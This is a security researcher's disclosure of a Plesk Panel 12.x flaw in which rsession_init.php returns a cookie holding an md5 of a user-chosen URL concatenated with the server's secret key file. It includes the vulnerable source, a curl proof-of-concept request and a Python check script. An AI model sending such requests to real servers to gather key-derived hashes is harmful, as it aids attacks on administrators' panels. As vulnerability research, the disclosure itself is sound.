While auditing the source code for Parallels Plesk Panel 12.x on Linux I
noticed the following feature that leads to leakage of the
'/etc/psa/private/secret_key'-file in md5 format to non-authenticated users.
Parallels responded that the 16byte 'secret_key' should provide sufficient
entropy for this not being an issue.
Soooo... even if I can control part of the salt to calculate the md5sum..?
See for yourself.
Code where the bug resides in:
----
/opt/psa/admin/htdocs/enterprise/rsession_init.php
31 if ($failureRedirectUrl = get_gpc('failure_redirect_url')) {
36 hspc_setopt('failure_redirect_url', $failureRedirectUrl);
>37 hspc_setopt('failure_redirect_url_sign', md5($failureRedirectUrl .
Plesk_Base_Utils_String::getCryptKey()));
38 }
...
..
/opt/psa/admin/plib/Plesk/Base/Utils/String.php
363 final public static function getCryptKey() {
...
369 if (Os::UNIX) {
370 self::$_cryptKey = @file_get_contents(ENCRYPT_KEY_FILE);
..
380 return self::$_cryptKey;
381 }
...
..
/opt/psa/admin/plib/compile_time_defaults.php
12 define('ENCRYPT_KEY_FILE', "/etc/psa/private/secret_key");
----
Summary of bug:
- user sends 1 HTTP requst to rsession_init.php on the remote server which
contains an invalid PHPSESSIONID and a redirect URL for when the login
fails.
- script sets two cookies which contains the following values:
failure_redirect_url = $failureRedirectUrl (supplied in URL)
failure_redirect_url_sign = md5($failureRedirectUrl + contents
/etc/psa/private/secret_key)
[+] Annoying redirect loop if localhost is specified as url to to redirect
to when login fails until cookies are cleared.
PoC:
root@debian7:~# #see /usr/local/psa/admin/sbin/encrypt_keygen for details
on key generation routine
root@debian7:~# dd if=/dev/urandom of=/etc/psa/private/secret_key bs=16
count=1
1+0 records in
1+0 records out
16 bytes (16 B) copied, 0.000183366 s, 87.3 kB/s
root@debian7:~# hexdump -C /etc/psa/private/secret_key
00000000 99 51 17 9a c6 8c 6e bd 4a 75 98 73 e2 64 fa e4
|.Q....n.Ju.s.d..|
$ curl -k -i -s "
https://debian7:8443/enterprise/rsession_init.php?PHPSESSID=000000000000000000000000000000000&failure_redirect_url=w00t"|awk
'/fail/ {print $2}'
.
..
...
failure_redirect_url=w00t;
failure_redirect_url_sign=03ba5675030c59bf66bbc2f4d30aec61;
root@debian7:~# ./poc.py
03ba5675030c59bf66bbc2f4d30aec61
---poc.py---
#! /usr/bin/env python
import hashlib
import binascii
with open('/etc/psa/private/secret_key') as f:
whoops = hashlib.md5("w00t" +
binascii.unhexlify(f.read().encode('hex'))).hexdigest()
print whoops
------
In theory this bug will give you enough ammunition to calculate the
contents of the /etc/psa/private/secret_key as we have part of the salt,
and already know the outcome of a insecure hashing algorithm to match
against.
I'm glad nobody owns the amount of computing power which is required to
abuse this bug nowadays anyhow .. :']
Regards,
Tim Rots
The Netherlands
